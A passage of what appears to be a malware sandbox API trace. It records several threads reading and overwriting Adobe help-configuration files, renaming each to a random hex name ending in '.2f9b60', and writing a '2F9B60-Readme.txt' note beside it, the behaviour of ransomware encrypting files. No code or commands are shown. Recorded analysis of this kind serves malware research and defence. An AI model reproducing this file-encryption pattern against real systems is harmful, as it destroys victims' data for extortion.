_Dest=0x1cd8652a, _Format="%c%c" | out: _Dest="0a") returned 2 [0166.394] sprintf (in: _Dest=0x1cd8652c, _Format="%c%c" | out: _Dest="3e") returned 2 [0166.394] sprintf (in: _Dest=0x1cd8652e, _Format="%c%c" | out: _Dest="83") returned 2 [0166.395] sprintf (in: _Dest=0x1cd86530, _Format="%c%c" | out: _Dest="90") returned 2 [0166.395] sprintf (in: _Dest=0x1cd86532, _Format="%c%c" | out: _Dest="ee") returned 2 [0166.395] sprintf (in: _Dest=0x1cd86534, _Format="%c%c" | out: _Dest="65") returned 2 [0166.395] sprintf (in: _Dest=0x1cd86536, _Format="%c%c" | out: _Dest="02") returned 2 [0166.395] sprintf (in: _Dest=0x1cd86538, _Format="%c%c" | out: _Dest="4b") returned 2 [0166.395] sprintf (in: _Dest=0x1cd8653a, _Format="%c%c" | out: _Dest="ab") returned 2 [0166.395] RtlInitAnsiString (in: DestinationString=0x2dc3f9e8, SourceString="c285f3e39a1a6d56a1e5ef216a4df9469621878f569e1cde83d82a77a50a3e8390ee65024bab" | out: DestinationString="c285f3e39a1a6d56a1e5ef216a4df9469621878f569e1cde83d82a77a50a3e8390ee65024bab") [0166.395] RtlAnsiStringToUnicodeString (in: DestinationString=0x2dc3f9b8, SourceString="c285f3e39a1a6d56a1e5ef216a4df9469621878f569e1cde83d82a77a50a3e8390ee65024bab", AllocateDestinationString=1 | out: DestinationString="c285f3e39a1a6d56a1e5ef216a4df9469621878f569e1cde83d82a77a50a3e8390ee65024bab") returned 0x0 [0166.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862040 [0166.395] RtlFreeAnsiString (AnsiString="c") [0166.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd864f0) returned 1 [0166.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda580) returned 1 [0166.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda550) returned 1 [0166.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c14f30) returned 1 [0166.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0166.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b10) returned 1 [0166.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1e0) returned 1 [0166.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ae0) returned 1 [0166.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9c80) returned 1 [0166.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9d40) returned 1 [0166.398] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9d70) returned 1 [0166.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b863220 [0166.398] wcscat (in: _Dest=0x1b863220, _Source="c285f3e39a1a6d56a1e" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\c285f3e39a1a6d56a1e") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\c285f3e39a1a6d56a1e" [0166.398] wcscat (in: _Dest=0x1b863220, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\c285f3e39a1a6d56a1e.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\c285f3e39a1a6d56a1e.2f9b60" [0166.398] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\c285f3e39a1a6d56a1e.2f9b60", NtPathName=0x2dc3f990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\c285f3e39a1a6d56a1e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0166.398] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x119170 [0200.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119170) returned 1 [0200.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1a450) returned 1 [0200.409] NtQueryInformationFile (in: FileHandle=0x9e8, IoStatusBlock=0x2dc3f9f8, FileInformation=0x2dc3fa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2dc3f9f8, FileInformation=0x2dc3fa08) returned 0x0 [0200.409] NtSetInformationFile (FileHandle=0x9e8, IoStatusBlock=0x2dc3f9f8, FileInformation=0x2dc3fa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0203.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863220) returned 1 [0203.912] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862040) returned 1 [0203.912] FlushFileBuffers (hFile=0x9e8) returned 1 [0204.254] CloseHandle (hObject=0x9e8) returned 1 [0208.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad160 [0208.027] wcscpy (in: _Dest=0x1b7ad160, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\" [0208.028] wcscat (in: _Dest=0x1b7ad160, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\2F9B60-Readme.txt" [0208.028] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\es_es\\2f9b60-readme.txt")) returned 0xffffffff [0208.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\es_es\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xebc [0209.981] WriteFile (in: hFile=0xebc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2dc3f8b0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2dc3f8b0*=0xba9, lpOverlapped=0x0) returned 1 [0215.329] CloseHandle (hObject=0xebc) returned 1 [0220.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad160) returned 1 [0220.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ab50) returned 1 Thread: id = 2515 os_tid = 0x1fc0 [0154.701] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es\\reader_10.0.helpcfg")) returned 0x20 [0154.702] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.702] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x708 [0154.703] GetFileSizeEx (in: hFile=0x708, lpFileSize=0x30e9fe20 | out: lpFileSize=0x30e9fe20*=349) returned 1 [0154.703] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.703] ReadFile (in: hFile=0x708, lpBuffer=0x30e9fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30e9fde8, lpOverlapped=0x0 | out: lpBuffer=0x30e9fda0*, lpNumberOfBytesRead=0x30e9fde8*=0x4, lpOverlapped=0x0) returned 1 [0154.704] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9d10 [0154.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9da0 [0154.705] NtQuerySystemTime (in: CurrentTime=0x30e9fce0 | out: CurrentTime=0x30e9fce0*=132462177598450000) returned 0x0 [0154.705] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x5c1c9c4b [0154.705] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x359ea046 [0154.705] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x1435d3d1 [0154.705] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x1faae338 [0154.705] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x789f46ba [0154.705] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0xdbf4835 [0154.705] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x5d15e03e [0154.705] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x3dd16de6 [0154.705] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x65a3230a [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x69e21e55 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x29702e3d [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0xfa46c40 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x3e2bc710 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x3835265e [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x420108a6 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x57538283 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x3801a34e [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x504e0d4e [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x636707a2 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x6e41e736 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x5b132a5 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x5340202d [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x7c90cf36 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x37dcbbe7 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x3ad8bad0 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x5cc2dd1b [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x6781fed2 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x3c02b480 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x18cd94c2 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x5bdd6113 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x88cec08 [0154.706] RtlRandomEx (in: Seed=0x30e9fcd0 | out: Seed=0x30e9fcd0) returned 0x618130f8 [0154.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9dd0 [0154.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c8c0 [0154.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e00 [0154.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c8c0) returned 1 [0154.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9da0) returned 1 [0154.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1f70 [0154.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c8c0 [0154.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaec0 [0154.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaec0) returned 1 [0154.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4283be10 [0154.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4283fa20 [0154.720] ReadFile (in: hFile=0x708, lpBuffer=0x4283be10, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x30e9fcd0, lpOverlapped=0x0 | out: lpBuffer=0x4283be10*, lpNumberOfBytesRead=0x30e9fcd0*=0x15d, lpOverlapped=0x0) returned 1 [0154.720] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.720] WriteFile (hFile=0x708, lpBuffer=0x4283fa20, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x30e9fcd4, lpOverlapped=0x0) [0186.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9200 [0186.309] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9230 [0186.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9230) returned 1 [0186.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4283fa20) returned 1 [0186.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4283be10) returned 1 [0186.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c8c0) returned 1 [0186.310] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1f70) returned 1 [0186.310] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cc30 [0186.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1f70 [0186.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c8c0 [0186.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9230 [0186.315] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9230) returned 1 [0186.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cc70 [0186.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9230 [0186.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9260 [0186.316] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9260) returned 1 [0186.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c8c0) returned 1 [0186.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1f70) returned 1 [0186.317] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x423aa2f0 [0186.318] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.318] WriteFile (in: hFile=0x708, lpBuffer=0x423aa2f0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x30e9fdf0, lpOverlapped=0x0 | out: lpBuffer=0x423aa2f0*, lpNumberOfBytesWritten=0x30e9fdf0*=0x118, lpOverlapped=0x0) returned 1 [0207.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda2b0 [0207.024] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda2b0) returned 1 [0207.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda2b0 [0207.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda280 [0207.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda220 [0207.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda220) returned 1 [0207.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86250 [0207.026] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="3e") returned 2 [0207.026] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="63") returned 2 [0207.026] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="22") returned 2 [0207.026] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="2e") returned 2 [0207.026] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="ef") returned 2 [0207.026] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="0d") returned 2 [0207.026] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="e6") returned 2 [0207.026] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="e3") returned 2 [0207.026] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="a0") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="24") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="ee") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="5c") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="e0") returned 2 [0207.027] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="ca") returned 2 [0207.027] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="44") returned 2 [0207.027] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="51") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="c0") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="43") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="92") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="40") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="52") returned 2 [0207.027] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="13") returned 2 [0207.027] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="fb") returned 2 [0207.027] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="e7") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="1a") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="f1") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="ea") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="dc") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="dc") returned 2 [0207.027] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="df") returned 2 [0207.027] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="3d") returned 2 [0207.027] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="ea") returned 2 [0207.027] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="b5") returned 2 [0207.028] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="a1") returned 2 [0207.028] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="43") returned 2 [0207.028] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="aa") returned 2 [0207.028] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="0f") returned 2 [0207.028] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="3f") returned 2 [0207.028] RtlInitAnsiString (in: DestinationString=0x30e9fe68, SourceString="3e63222eef0de6e3a024ee5ce0ca4451c04392405213fbe71af1eadcdcdf3deab5a143aa0f3f" | out: DestinationString="3e63222eef0de6e3a024ee5ce0ca4451c04392405213fbe71af1eadcdcdf3deab5a143aa0f3f") [0207.028] RtlAnsiStringToUnicodeString (in: DestinationString=0x30e9fe38, SourceString="3e63222eef0de6e3a024ee5ce0ca4451c04392405213fbe71af1eadcdcdf3deab5a143aa0f3f", AllocateDestinationString=1 | out: DestinationString="3e63222eef0de6e3a024ee5ce0ca4451c04392405213fbe71af1eadcdcdf3deab5a143aa0f3f") returned 0x0 [0207.028] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x4314fc70 [0207.029] wcscat (in: _Dest=0x4314fbc0, _Source="3e63222eef0de6e3a02" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\3e63222eef0de6e3a02") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\3e63222eef0de6e3a02" [0207.029] wcscat (in: _Dest=0x4314fbc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\3e63222eef0de6e3a02.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\3e63222eef0de6e3a02.2f9b60" [0207.029] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\3e63222eef0de6e3a02.2f9b60", NtPathName=0x30e9fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\3e63222eef0de6e3a02.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310c120 [0209.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c120) returned 1 [0209.148] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42057d20) returned 1 [0209.148] NtQueryInformationFile (in: FileHandle=0x708, IoStatusBlock=0x30e9fe78, FileInformation=0x30e9fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30e9fe78, FileInformation=0x30e9fe88) returned 0x0 [0209.148] NtSetInformationFile (FileHandle=0x708, IoStatusBlock=0x30e9fe78, FileInformation=0x30e9fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314fbc0) returned 1 [0209.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314fc70) returned 1 [0209.648] FlushFileBuffers (hFile=0x708) returned 1 [0212.754] CloseHandle (hObject=0x708) returned 1 [0215.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43188480 [0215.699] wcscpy (in: _Dest=0x43188480, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\" [0215.699] wcscat (in: _Dest=0x43188480, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\2F9B60-Readme.txt" [0215.699] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es\\2f9b60-readme.txt")) returned 0xffffffff [0215.699] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\eu_es\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b08 [0218.151] WriteFile (in: hFile=0x1b08, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x30e9fd30, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x30e9fd30*=0xba9, lpOverlapped=0x0) returned 1 [0222.500] CloseHandle (hObject=0x1b08) returned 1 [0224.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43188480) returned 1 [0224.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505690) returned 1 Thread: id = 2516 os_tid = 0x1fc4 [0154.812] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fi_fi\\reader_10.0.helpcfg")) returned 0x20 [0154.812] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.813] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fi_fi\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x710 [0154.814] GetFileSizeEx (in: hFile=0x710, lpFileSize=0x2ea3fc40 | out: lpFileSize=0x2ea3fc40*=349) returned 1 [0154.814] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.814] ReadFile (in: hFile=0x710, lpBuffer=0x2ea3fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ea3fc08, lpOverlapped=0x0 | out: lpBuffer=0x2ea3fbc0*, 